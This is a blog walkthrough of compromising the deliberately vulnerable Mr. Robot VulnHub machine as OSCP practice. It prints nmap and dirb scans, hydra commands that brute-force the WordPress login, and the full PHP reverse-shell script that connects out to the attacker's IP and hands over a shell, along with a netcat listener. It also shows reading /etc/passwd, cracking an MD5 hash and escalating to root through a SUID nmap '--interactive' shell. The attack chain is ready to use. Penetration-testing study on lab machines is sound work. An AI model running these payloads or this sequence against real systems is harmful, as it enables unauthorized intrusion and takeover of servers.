Pentest: Domo arigato mr. Roboto

9 minute read

Since I want to do the OSCP certifcation next year, I figured it’s time to try and tackle a machine that is listed under “OSCP like” in some forums I scoured during my recon for OSCP resources. I found a vulnhub machine called Mr.Robot and I’m a fan of the show, so it’s a double win in my book! The machine is available to download here.

Recon with nmap

The IP is not advertised on bootup, so we have to figure it out ourselves. Let’s go into host discovery mode with nmap:

nmap -sP is my lab ip range, this could be different for you of course

MAC Address: 08:00:27:48:30:23 (Oracle VirtualBox virtual NIC)
Nmap scan report for
Host is up (0.00024s latency).
MAC Address: 08:00:27:29:8B:AC (Oracle VirtualBox virtual NIC)
Nmap scan report for
Host is up.

Since my attacker machine has the ip of I know that the victim is at Time for a portscan:

nmap -p-

22/tcp  closed ssh
80/tcp  open   http
443/tcp open   https
MAC Address: 08:00:27:29:8B:AC (Oracle VirtualBox virtual NIC)

We see that there is an SSH service, but its in closed state, and there is a website available, time to browse it and do some webrecon.

Spidering the website manually and dirbing

What I thought was going to be a website, turned out to be some kind of shell, awesome! Keep in mind that even though the webpage looks like a shell, it’s still a webpage, that’s just some fancy javascript and other stuff. Don’t let it distract you.

I manually checked robots.txt and saw an interesting entry in there:

User-agent: *

I redirected my browser to and we already have key number 1, 2 more to go. I also downloaded the fsocity.dic onto my machine by simpley browsing to it, because this might help with bruteforcing later.

time to use dirb: dirb this gave a goldmine on hidden pages on the website.

---- Scanning URL: ----
==> DIRECTORY:                                             
==> DIRECTORY:                                         
+ (CODE:301|SIZE:0)                                      
==> DIRECTORY:                                         
==> DIRECTORY:                                          
==> DIRECTORY:                                           
+ (CODE:302|SIZE:0)                                 
+ (CODE:200|SIZE:0)                               
==> DIRECTORY:                                          
==> DIRECTORY:                                         
==> DIRECTORY:                                         
==> DIRECTORY:                                        
+ (CODE:200|SIZE:1134)                             
+ (CODE:301|SIZE:0)                                 
+ (CODE:200|SIZE:516314)                                
==> DIRECTORY:                                            
+ (CODE:200|SIZE:19930)                               
+ (CODE:302|SIZE:0)                                     
+ (CODE:301|SIZE:0)                                     
+ (CODE:403|SIZE:94)                               
+ (CODE:301|SIZE:0)                                       
+ (CODE:200|SIZE:7334)                                 
+ (CODE:200|SIZE:41)                                   
+ (CODE:200|SIZE:41)                               
+ (CODE:301|SIZE:0)                                       
+ (CODE:301|SIZE:0)                                      
+ (CODE:200|SIZE:0)                                   
+ (CODE:200|SIZE:0)                               
==> DIRECTORY:                                         
==> DIRECTORY:                                      
+ (CODE:200|SIZE:0)                                 
==> DIRECTORY:                                    
+ (CODE:200|SIZE:0)                                   
==> DIRECTORY:                                   
+ (CODE:200|SIZE:228)                           
+ (CODE:200|SIZE:0)                                   
+ (CODE:200|SIZE:2589)                               
+ (CODE:403|SIZE:3018)                                
+ (CODE:500|SIZE:0)                               
+ (CODE:302|SIZE:0)                                 
+ (CODE:405|SIZE:42)                                   
+ (CODE:405|SIZE:42)                               

I instantly see that there is a wordpress running on this VM.

sufing to the /login page redirected me to

surfing to gave me the message: For security reasons, this URL is only accessible using localhost ( as the hostname. So we should go back to this when we pwn the VM.

Other links yield very little interesting results, but feel free to browse through them for funzies.


Since wordpress is running let’s use the tool wpscan to check for any vulnerabilities and the scan found nothing!

bruteforcing the wordpress

we have a nice dictionary (fsociety.dic), but it’s quite large and has a lot of duplicates, let’s remove the duplicates first: sort fsocity.dic | uniq > fsocun now we dramatically reduced the size of the dictionary, and can now use it to bruteforce faster.

The first step of bruteforcing is to manually try a login first to see what error message you get, after trying a wrong combination it gave me the message invalid username. This is great, because now we can first bruteforce the username and after that the password, instead of trying to bruteforce both at the same time.

hydra -Vv -L /root/Downloads/fsocuni -p randompass http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=Invalid username'

after a while we got : [80][http-post-form] host: login: ELLIOT password: randompass

so we know ELLIOT is a valid username, let’s bruteforce his password

hydra -Vv -l ELLIOT -P /root/Downloads/fsocuni http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=is incorrect'

after a while we got:

[80][http-post-form] host: login: elliot password: ER28-0652

uploading a php webshell

I replaced hello dolly with the php webshell

// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  The author accepts no liability
// for damage caused by this tool.  If these terms are not acceptable to you, then
// do not use this tool.
// In all other respects the GPL version 2 applies:
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  If these terms are not acceptable to
// you, then do not use this tool.
// You are encouraged to send comments, improvements or suggestions to
// me at
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
// Usage
// -----
// See if you get stuck.

set_time_limit (0);
$VERSION = "1.0";
$ip = '';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

// Daemonise ourself if possible to avoid zombies later

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
	// Fork and have the parent process exit
	$pid = pcntl_fork();

	if ($pid == -1) {
		printit("ERROR: Can't fork");

	if ($pid) {
		exit(0);  // Parent exits

	// Make the current process a session leader
	// Will only succeed if we forked
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");

// Change to a safe directory

// Remove any umask we inherited

// Do the reverse shell...

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");

	// Wait until a command is end down $sock, or some
	// command output is available on STDOUT or STDERR
	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);


// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
	if (!$daemon) {
		print "$string\n";


setup a listener on your system to the port you modified the script for nc -lvp 1234 and activate the plugin, bam you have a shell.

Snooping around in the server

first thing I do is cat /etc/passwd

list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
ftp:x:103:106:ftp daemon,,,:/srv/ftp:/bin/false

I see root has a bash shell, and I see there is a robot user

lets see the current home directory…

cd /home;ls

There is a robot folder in there

cd robot;ls

there is a key file and a password.raw-md5 file in there, we appearantly don’t have permission to view the key file but we can cat the password file.

cat password.raw-MD5

Let’s decrypt the md5 password with a decryptor of your choice.

c3fcd3d76192e4007dfb496cca67e13b : abcdefghijklmnopqrstuvwxyz

Now we need to spawn bash using python -c 'import pty; pty.spawn("/bin/sh")'

and now we can use su robot to change to the robot user and get the second flag.

We are now able to read the second flag!

Root escalation

This is a bit tricky, I did not find anything to exploit on this system…

Let’s see what is owned by root by using find / -user root -perm -4000 2>/dev/null this command will show all files owned by root, that we can access too. I see nmap is amongst the programs.

after doing some research I found this blog and blog

appearantly nmap has an –interactive mode which spawns a shell and we can use this shell to escalate ourselves to Root

nmap --interactive !sh

and yes, we can now run root commands